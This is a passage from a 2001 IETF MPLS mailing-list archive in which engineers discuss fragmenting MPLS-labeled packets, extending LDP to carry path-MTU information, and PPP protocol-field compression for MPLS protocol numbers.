	id QQkpdg16957
	for mpls-outgoing; Tue, 15 May 2001 16:05:11 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpdg16650
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 16:04:53 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpdg19097
	for <mpls@UU.NET>; Tue, 15 May 2001 16:04:29 GMT
Received: from father.pmc-sierra.bc.ca by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: father.pmc-sierra.bc.ca [216.241.224.13])
	id QQkpdg02088
	for <mpls@UU.NET>; Tue, 15 May 2001 16:04:29 GMT
Received: (qmail 19816 invoked by uid 104); 15 May 2001 16:04:28 -0000
Received: from Sajith_Kizhikkepurayil@pmc-sierra.com by father with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 0.421186 secs); 15/05/2001 09:04:28
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by father.pmc-sierra.bc.ca with SMTP; 15 May 2001 16:04:27 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f4FG4R102957;
	Tue, 15 May 2001 09:04:27 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KHBJCSD7>; Tue, 15 May 2001 09:07:30 -0700
Message-ID: <219DA90B32B7D411B90E00306E0071FC152987@sje4exm01.pmc-sierra.bc.ca>
From: Sajith Kizhikkepurayil <Sajith_Kizhikkepurayil@pmc-sierra.com>
To: "'Eric Gray'" <eric.gray@sandburst.com>
Cc: mpls@UU.NET
Subject: RE: Fragmentation and reassembly of MPLS packets
Date: Tue, 15 May 2001 09:07:24 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

is it not possible to extend LDP(s) to exchange MTU info for an FEC,
so that each ingress LSR know the path MTU of LSPs 
originating from them ? that is each LSP has an MTU associated with it.
any thoughts ?

thanks
sajith

>-----Original Message-----
>From: Eric Gray [mailto:eric.gray@sandburst.com]
>Sent: Tuesday, May 15, 2001 6:30 AM
>To: ytr@123india.com
>Cc: mgoel@hss.hns.com; mpls@UU.NET
>Subject: Re: Fragmentation and reassembly of MPLS packets
>
>
>    Fragmentation of MPLS packets is, in general, a pretty bad idea.
>
>    The main issue is knowing that the first thing after the last label
>is in fact a 'normal' IP packet.  If you cannot predictably determine
>this, then you do not know how valid the fields of the 'IP header'
>are and it could be disastrous to attempt either to 'return' an ICMP
>error message to the 'Source IP Address' (which may be random
>data if the packet has a compressed RTP/UDP/IP header or is
>encrypted) or to fragment the packet.
>
>    One might be able to infer 'reliably' that - if the FEC associated
>with an LSP is an IPv4 FEC, and there is only one label in the label
>stack - the following header is a normal IPv4 header.  This should
>always be the case if the LSP was established using LDP for hop
>by hop routing.  So, if - while forwarding the packet - you can be
>mindful of how the LSP was created and you know that there is
>only one label in the stack, you may be able to do IP fragmentation
>of an MPLS labeled packet.
>
>    Considering that the dominant application for MPLS seems to be
>based on LSP tunneling using explicit routes (as opposed to hop by
>hop routed LSPs), it does not seem likely that scenarios where it
>makes sense to attempt to fragment MPLS packets are likely to be
>the common case.
>
>--
>Eric Gray
>
>YTR wrote:
>
>> Hi Mohit,
>>     If my understanding is correct, its impossible to do 
>fragmentation without IP header.  one has to remove (preserve 
>for later use) MPLS label stack and check IP DF bit in IP 
>header. If its set generate ICMP packets otherwise, fragment 
>IP packet keep the depth of the label stack in mind and 
>reconstruct the fragmented packets with MPLS label stack and 
>forwards those based on the top label. At the egress IP module 
>will reconsruct the IP packet when it gets from MPLS module.
>>
>> If I am wrong pls correct me.
>>
>> Thanks
>> YTR
>>
>> On Tue, 15 May 2001, mgoel@hss.hns.com wrote:
>>
>> >
>> >
>> >
>> > Hi all,
>> >
>> > Section 3 of RFC 3032 discusses the procedure for 
>fragmenting the labeled as
>> > well as unlabeled MPLS packet. In IP there are fields in 
>the datagram header
>> > (IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control 
>fragmentation and
>> > reassembely of datagrams. But in MPLS header there are no 
>such fields defined.
>> > So how does reassembly of the fragmented MPLS packets 
>happens at the destination
>> > host.
>> >
>> > Thanks in advance
>> > Mohit
>>
>> ______________________________________________________
>> 123India.com - India's Premier Portal
>> Get your Free Email Account at http://www.123india.com
>


From owner-mpls@UU.NET  Tue May 15 12:08:49 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA01527
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 12:08:48 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpdg05947;
	Tue, 15 May 2001 16:07:32 GMT
Received: by mail-control.mail.uu.net 
	id QQkpdg18020
	for mpls-outgoing; Tue, 15 May 2001 16:06:55 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpdg17640
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 16:06:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpdg18807
	for <mpls@uu.net>; Tue, 15 May 2001 16:05:36 GMT
Received: from web13106.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web13106.mail.yahoo.com [216.136.174.151])
	id QQkpdg26221
	for <mpls@uu.net>; Tue, 15 May 2001 16:05:36 GMT
Message-ID: <20010515160535.67986.qmail@web13106.mail.yahoo.com>
Received: from [38.186.47.9] by web13106.mail.yahoo.com; Tue, 15 May 2001 09:05:35 PDT
Date: Tue, 15 May 2001 09:05:35 -0700 (PDT)
From: Elwin Eliazer <elwinietf@yahoo.com>
Subject: PPP protocol type for MPLS packets ...
To: mpls@UU.NET
Cc: naveenietf@yahoo.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

Will it be a good practice to disable protocol
field compression (during LCP) as the PPP protocol
field value for MPLS unicast and multicast are
0x0281 and 0x0283, as defined in RFC 3032,
section 4.3, that has the most significant
byte as non-zero?

regards,
Elwin.

=====
-------
Elwin Stelzer Eliazer
Corona Networks
San Jose, CA
408-519-3832
-------

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Tue May 15 12:16:09 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA01879
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 12:16:09 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpdg13864;
	Tue, 15 May 2001 16:14:39 GMT
Received: by mail-control.mail.uu.net 
	id QQkpdg23187
	for mpls-outgoing; Tue, 15 May 2001 16:14:04 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpdg23147
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 16:13:58 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpdg05901
	for <mpls@UU.NET>; Tue, 15 May 2001 16:13:29 GMT
Received: from starvin-marvin.delphi-assoc.co.uk by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: starvin-marvin.delphi-assoc.co.uk [195.82.105.221])
	id QQkpdg13453
	for <mpls@UU.NET>; Tue, 15 May 2001 16:13:28 GMT
Received: from goneto.net (unknown [195.167.134.116])
	by starvin-marvin.delphi-assoc.co.uk (Postfix) with ESMTP
	id 0113D15F817; Tue, 15 May 2001 17:13:22 +0100 (BST)
Message-ID: <3B0155EF.90B2ADD9@goneto.net>
Date: Tue, 15 May 2001 17:14:39 +0100
From: Giles Heron <giles@goneto.net>
Reply-To: giles@goneto.net
Organization: Gone2 Inc.
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Sajith Kizhikkepurayil <Sajith_Kizhikkepurayil@pmc-sierra.com>
Cc: "'Eric Gray'" <eric.gray@sandburst.com>, mpls@UU.NET
Subject: Re: Fragmentation and reassembly of MPLS packets
References: <219DA90B32B7D411B90E00306E0071FC152987@sje4exm01.pmc-sierra.bc.ca>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Ben and Kireeti wrote a draft on this recently:

http://search.ietf.org/internet-drafts/draft-black-ldp-mtu-extensions-00.txt

Giles

Sajith Kizhikkepurayil wrote:
> 
> is it not possible to extend LDP(s) to exchange MTU info for an FEC,
> so that each ingress LSR know the path MTU of LSPs
> originating from them ? that is each LSP has an MTU associated with it.
> any thoughts ?
> 
> thanks
> sajith
> 
> >-----Original Message-----
> >From: Eric Gray [mailto:eric.gray@sandburst.com]
> >Sent: Tuesday, May 15, 2001 6:30 AM
> >To: ytr@123india.com
> >Cc: mgoel@hss.hns.com; mpls@UU.NET
> >Subject: Re: Fragmentation and reassembly of MPLS packets
> >
> >
> >    Fragmentation of MPLS packets is, in general, a pretty bad idea.
> >
> >    The main issue is knowing that the first thing after the last label
> >is in fact a 'normal' IP packet.  If you cannot predictably determine
> >this, then you do not know how valid the fields of the 'IP header'
> >are and it could be disastrous to attempt either to 'return' an ICMP
> >error message to the 'Source IP Address' (which may be random
> >data if the packet has a compressed RTP/UDP/IP header or is
> >encrypted) or to fragment the packet.
> >
> >    One might be able to infer 'reliably' that - if the FEC associated
> >with an LSP is an IPv4 FEC, and there is only one label in the label
> >stack - the following header is a normal IPv4 header.  This should
> >always be the case if the LSP was established using LDP for hop
> >by hop routing.  So, if - while forwarding the packet - you can be
> >mindful of how the LSP was created and you know that there is
> >only one label in the stack, you may be able to do IP fragmentation
> >of an MPLS labeled packet.
> >
> >    Considering that the dominant application for MPLS seems to be
> >based on LSP tunneling using explicit routes (as opposed to hop by
> >hop routed LSPs), it does not seem likely that scenarios where it
> >makes sense to attempt to fragment MPLS packets are likely to be
> >the common case.
> >
> >--
> >Eric Gray
> >
> >YTR wrote:
> >
> >> Hi Mohit,
> >>     If my understanding is correct, its impossible to do
> >fragmentation without IP header.  one has to remove (preserve
> >for later use) MPLS label stack and check IP DF bit in IP
> >header. If its set generate ICMP packets otherwise, fragment
> >IP packet keep the depth of the label stack in mind and
> >reconstruct the fragmented packets with MPLS label stack and
> >forwards those based on the top label. At the egress IP module
> >will reconsruct the IP packet when it gets from MPLS module.
> >>
> >> If I am wrong pls correct me.
> >>
> >> Thanks
> >> YTR
> >>
> >> On Tue, 15 May 2001, mgoel@hss.hns.com wrote:
> >>
> >> >
> >> >
> >> >
> >> > Hi all,
> >> >
> >> > Section 3 of RFC 3032 discusses the procedure for
> >fragmenting the labeled as
> >> > well as unlabeled MPLS packet. In IP there are fields in
> >the datagram header
> >> > (IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control
> >fragmentation and
> >> > reassembely of datagrams. But in MPLS header there are no
> >such fields defined.
> >> > So how does reassembly of the fragmented MPLS packets
> >happens at the destination
> >> > host.
> >> >
> >> > Thanks in advance
> >> > Mohit
> >>
> >> ______________________________________________________
> >> 123India.com - India's Premier Portal
> >> Get your Free Email Account at http://www.123india.com
> >

-- 
============================================================
Giles Heron      Principal Network Architect      Gone2 Inc.
ph: +44 7880 506185         "if you build it they will yawn"
============================================================


From owner-mpls@UU.NET  Tue May 15 13:05:31 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA03086
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 13:05:31 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpdk17993;
	Tue, 15 May 2001 17:04:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkpdk16379
	for mpls-outgoing; Tue, 15 May 2001 17:03:46 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpdk15864
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 17:03:27 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpdk27163
	for <mpls@UU.NET>; Tue, 15 May 2001 17:01:30 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpdk11418
	for <mpls@UU.NET>; Tue, 15 May 2001 17:01:29 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 76F6594009; Tue, 15 May 2001 13:01:29 -0400 (EDT)
Message-ID: <3B0160E9.ED2A9D0A@sandburst.com>
Date: Tue, 15 May 2001 13:01:29 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Elwin Eliazer <elwinietf@yahoo.com>, Eric Rosen <erosen@cisco.com>,
        George Swallow <swallow@cisco.com>, Scott Bradner <sob@harvard.edu>
Cc: mpls@UU.NET, naveenietf@yahoo.com
Subject: Re: PPP protocol type for MPLS packets ...
References: <20010515160535.67986.qmail@web13106.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Elwin,

    Quoting from Standard 51 (PPP), section 6.5 towards the bottom of
page 48:

"The Protocol field is never compressed when sending any LCP packet.
 This rule guarantees unambiguous recognition of LCP packets."

====================================================================
Eric/George/Scott,

On a related issue, I notice that - while RFC 3032 lists the MPLSCP
protocol number as 0x8281 - PPP-numbers, located at:

    ftp://ftp.isi.edu/in-notes/iana/assignments/ppp-numbers

Shows this number assigned as follows -

"8281   Tag Switching - Unicast              [Davie]"

I can't recall any discussion about re-assigning this protocol number
and I wonder - is possible at this point to make this happen (between
B. Davie, Cisco and IANA)?

--
Eric Gray

You wrote:

> Hi,
>
> Will it be a good practice to disable protocol
> field compression (during LCP) as the PPP protocol
> field value for MPLS unicast and multicast are
> 0x0281 and 0x0283, as defined in RFC 3032,
> section 4.3, that has the most significant
> byte as non-zero?
>
> regards,
> Elwin.
>
> =====
> -------
> Elwin Stelzer Eliazer
> Corona Networks
> San Jose, CA
> 408-519-3832
> -------
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Auctions - buy the things you want at great prices
> http://auctions.yahoo.com/



From owner-mpls@UU.NET  Tue May 15 13:20:32 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA03393
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 13:20:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpdl20428;
	Tue, 15 May 2001 17:19:06 GMT
Received: by mail-control.mail.uu.net 
	id QQkpdl29304
	for mpls-outgoing; Tue, 15 May 2001 17:18:34 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpdl29284
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 17:18:18 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpdl28442
	for <mpls@UU.NET>; Tue, 15 May 2001 17:17:19 GMT
Received: from web13103.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web13103.mail.yahoo.com [216.136.174.148])
	id QQkpdl18918
	for <mpls@UU.NET>; Tue, 15 May 2001 17:17:19 GMT
Message-ID: <20010515171718.94286.qmail@web13103.mail.yahoo.com>
Received: from [38.186.47.9] by web13103.mail.yahoo.com; Tue, 15 May 2001 10:17:18 PDT
Date: Tue, 15 May 2001 10:17:18 -0700 (PDT)
From: Elwin Eliazer <elwinietf@yahoo.com>
Subject: Re: PPP protocol type for MPLS packets ...
To: Eric Gray <eric.gray@sandburst.com>, Eric Rosen <erosen@cisco.com>,
        George Swallow <swallow@cisco.com>, Scott Bradner <sob@harvard.edu>
Cc: mpls@UU.NET, naveenietf@yahoo.com
In-Reply-To: <3B0160E9.ED2A9D0A@sandburst.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Eric,

Thanks for your response.

But my question was not about the MPLSCP (control)
packets.... it is rather the payload MPLS packets.

Could you clarify if you are also referring the
same.

Thanks,
Elwin.

--- Eric Gray <eric.gray@sandburst.com> wrote:
> Elwin,
> 
>     Quoting from Standard 51 (PPP), section 6.5
> towards the bottom of
> page 48:
> 
> "The Protocol field is never compressed when sending
> any LCP packet.
>  This rule guarantees unambiguous recognition of LCP
> packets."
> 
>
====================================================================
> Eric/George/Scott,
> 
> On a related issue, I notice that - while RFC 3032
> lists the MPLSCP
> protocol number as 0x8281 - PPP-numbers, located at:
> 
>    
>
ftp://ftp.isi.edu/in-notes/iana/assignments/ppp-numbers
> 
> Shows this number assigned as follows -
> 
> "8281   Tag Switching - Unicast             
> [Davie]"
> 
> I can't recall any discussion about re-assigning
> this protocol number
> and I wonder - is possible at this point to make
> this happen (between
> B. Davie, Cisco and IANA)?
> 
> --
> Eric Gray
> 
> You wrote:
> 
> > Hi,
> >
> > Will it be a good practice to disable protocol
> > field compression (during LCP) as the PPP protocol
> > field value for MPLS unicast and multicast are
> > 0x0281 and 0x0283, as defined in RFC 3032,
> > section 4.3, that has the most significant
> > byte as non-zero?
> >
> > regards,
> > Elwin.
> >
> > =====
> > -------
> > Elwin Stelzer Eliazer
> > Corona Networks
> > San Jose, CA
> > 408-519-3832
> > -------
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Yahoo! Auctions - buy the things you want at great
> prices
> > http://auctions.yahoo.com/
> 


=====
-------
Elwin Stelzer Eliazer
Corona Networks
San Jose, CA
408-519-3832
-------

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Tue May 15 13:38:36 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA03689
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 13:38:31 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpdm23554;
	Tue, 15 May 2001 17:37:11 GMT
Received: by mail-control.mail.uu.net 
	id QQkpdm01196
	for mpls-outgoing; Tue, 15 May 2001 17:36:35 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpdm01148
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 17:36:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpdm22075
	for <mpls@UU.NET>; Tue, 15 May 2001 17:35:26 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpdm03776
	for <mpls@UU.NET>; Tue, 15 May 2001 17:35:25 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 337D694012; Tue, 15 May 2001 13:35:25 -0400 (EDT)
Message-ID: <3B0168DD.E93833F4@sandburst.com>
Date: Tue, 15 May 2001 13:35:25 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Elwin Eliazer <elwinietf@yahoo.com>, MPLS Mailing List <mpls@UU.NET>
Subject: Re: PPP protocol type for MPLS packets ...
References: <20010515171718.94286.qmail@web13103.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Elwin,

    I misunderstood your question.  I thought you were asking if
PCF should be disabled during LCP (which includes MPLSCP).
Instead you were asking if it should be disabled for the life of
the PPP link (I see now that you were making a comment that
disabling is done during LCP).

    I don't see why it would need to be.  The whole point of PCF
is some protocol number fields can be unambiguously represented
in a single byte (either because they are already in one byte - as
you implied in your query - or because there is an onto mapping
from a two byte representation to a single byte).

    The values 0x0281 and 0x0283 seem to comply with the idea as
explained in section 6.5 - i.e. - the least significant bit in the first
byte is '0' therefore indicating that the next byte is significant.
Hence compression could be turned on, but just would not apply
to MPLS protocol field numbers.

--
Eric Gray

You wrote:

> Hi Eric,
>
> Thanks for your response.
>
> But my question was not about the MPLSCP (control)
> packets.... it is rather the payload MPLS packets.
>
> Could you clarify if you are also referring the
> same.
>
> Thanks,
> Elwin.
>
> --- Eric Gray <eric.gray@sandburst.com> wrote:
> > Elwin,
> >
> >     Quoting from Standard 51 (PPP), section 6.5
> > towards the bottom of
> > page 48:
> >
> > "The Protocol field is never compressed when sending
> > any LCP packet.
> >  This rule guarantees unambiguous recognition of LCP
> > packets."
> >
> >
> ====================================================================
> > Eric/George/Scott,
> >
> > On a related issue, I notice that - while RFC 3032
> > lists the MPLSCP
> > protocol number as 0x8281 - PPP-numbers, located at:
> >
> >
> >
> ftp://ftp.isi.edu/in-notes/iana/assignments/ppp-numbers
> >
> > Shows this number assigned as follows -
> >
> > "8281   Tag Switching - Unicast
> > [Davie]"
> >
> > I can't recall any discussion about re-assigning
> > this protocol number
> > and I wonder - is possible at this point to make
> > this happen (between
> > B. Davie, Cisco and IANA)?
> >
> > --
> > Eric Gray
> >
> > You wrote:
> >
> > > Hi,
> > >
> > > Will it be a good practice to disable protocol
> > > field compression (during LCP) as the PPP protocol
> > > field value for MPLS unicast and multicast are
> > > 0x0281 and 0x0283, as defined in RFC 3032,
> > > section 4.3, that has the most significant
> > > byte as non-zero?
> > >
> > > regards,
> > > Elwin.
> > >
> > > =====
> > > -------
> > > Elwin Stelzer Eliazer
> > > Corona Networks
> > > San Jose, CA
> > > 408-519-3832
> > > -------
> > >
> > > __________________________________________________
> > > Do You Yahoo!?
> > > Yahoo! Auctions - buy the things you want at great
> > prices
> > > http://auctions.yahoo.com/
> >
>
> =====
> -------
> Elwin Stelzer Eliazer
> Corona Networks
> San Jose, CA
> 408-519-3832
> -------
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Auctions - buy the things you want at great prices
> http://auctions.yahoo.com/



From owner-mpls@UU.NET  Tue May 15 13:41:28 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA03745
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 13:41:22 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpdm29482;
	Tue, 15 May 2001 17:40:03 GMT
Received: by mail-control.mail.uu.net 
	id QQkpdm01404
	for mpls-outgoing; Tue, 15 May 2001 17:38:30 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpdm01381
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 17:38:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpdm20426
	for <mpls@UU.NET>; Tue, 15 May 2001 17:37:57 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpdm05951
	for <mpls@UU.NET>; Tue, 15 May 2001 17:37:56 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 9E00094009; Tue, 15 May 2001 13:37:56 -0400 (EDT)
Message-ID: <3B016974.D75713EE@sandburst.com>
Date: Tue, 15 May 2001 13:37:56 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Vincent Hamrick <Hamrick@coronanetworks.com>
Cc: "'Sajith Kizhikkepurayil '" <Sajith_Kizhikkepurayil@pmc-sierra.com>,
        "'mpls@UU.NET '" <mpls@UU.NET>
Subject: Re: Fragmentation and reassembly of MPLS packets
References: <D55193A1090CD4118171009027DC8CEB3604B6@newmail.coronanetworks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Vincent,

    If you apply the 'lazy programmer' rule, you will
discover that you have answered your own question...

--
Eric Gray

You wrote:

>
>
> Greetings,
>
> I've always thought that fragmentation of MPLS was going to be a messy
> issue, especially when you must be able to determine that all traffic in
> a given LSP is IP.
>
> My question is how does the current MPLS equipment handle fragmentation
> of MPLS packets?  rfc3032 says that a switch MAY discard datagrams which
> are too large.  It does not say that a switch MUST fragment.
>
> -V
>
> -----Original Message-----
> From: Sajith Kizhikkepurayil
> To: 'Eric Gray'
> Cc: mpls@UU.NET
> Sent: 5/15/01 9:07 AM
> Subject: RE: Fragmentation and reassembly of MPLS packets
>
> is it not possible to extend LDP(s) to exchange MTU info for an FEC,
> so that each ingress LSR know the path MTU of LSPs
> originating from them ? that is each LSP has an MTU associated with it.
> any thoughts ?
>
> thanks
> sajith
>
> >-----Original Message-----
> >From: Eric Gray [mailto:eric.gray@sandburst.com]
> >Sent: Tuesday, May 15, 2001 6:30 AM
> >To: ytr@123india.com
> >Cc: mgoel@hss.hns.com; mpls@UU.NET
> >Subject: Re: Fragmentation and reassembly of MPLS packets
> >
> >
> >    Fragmentation of MPLS packets is, in general, a pretty bad idea.
> >
> >    The main issue is knowing that the first thing after the last label
> >is in fact a 'normal' IP packet.  If you cannot predictably determine
> >this, then you do not know how valid the fields of the 'IP header'
> >are and it could be disastrous to attempt either to 'return' an ICMP
> >error message to the 'Source IP Address' (which may be random
> >data if the packet has a compressed RTP/UDP/IP header or is
> >encrypted) or to fragment the packet.
> >
> >    One might be able to infer 'reliably' that - if the FEC associated
> >with an LSP is an IPv4 FEC, and there is only one label in the label
> >stack - the following header is a normal IPv4 header.  This should
> >always be the case if the LSP was established using LDP for hop
> >by hop routing.  So, if - while forwarding the packet - you can be
> >mindful of how the LSP was created and you know that there is
> >only one label in the stack, you may be able to do IP fragmentation
> >of an MPLS labeled packet.
> >
> >    Considering that the dominant application for MPLS seems to be
> >based on LSP tunneling using explicit routes (as opposed to hop by
> >hop routed LSPs), it does not seem likely that scenarios where it
> >makes sense to attempt to fragment MPLS packets are likely to be
> >the common case.
> >
> >--
> >Eric Gray
> >
> >YTR wrote:
> >
> >> Hi Mohit,
> >>     If my understanding is correct, its impossible to do
> >fragmentation without IP header.  one has to remove (preserve
> >for later use) MPLS label stack and check IP DF bit in IP
> >header. If its set generate ICMP packets otherwise, fragment
> >IP packet keep the depth of the label stack in mind and
> >reconstruct the fragmented packets with MPLS label stack and
> >forwards those based on the top label. At the egress IP module
> >will reconsruct the IP packet when it gets from MPLS module.
> >>
> >> If I am wrong pls correct me.
> >>
> >> Thanks
> >> YTR
> >>
> >> On Tue, 15 May 2001, mgoel@hss.hns.com wrote:
> >>
> >> >
> >> >
> >> >
> >> > Hi all,
> >> >
> >> > Section 3 of RFC 3032 discusses the procedure for
> >fragmenting the labeled as
> >> > well as unlabeled MPLS packet. In IP there are fields in
> >the datagram header
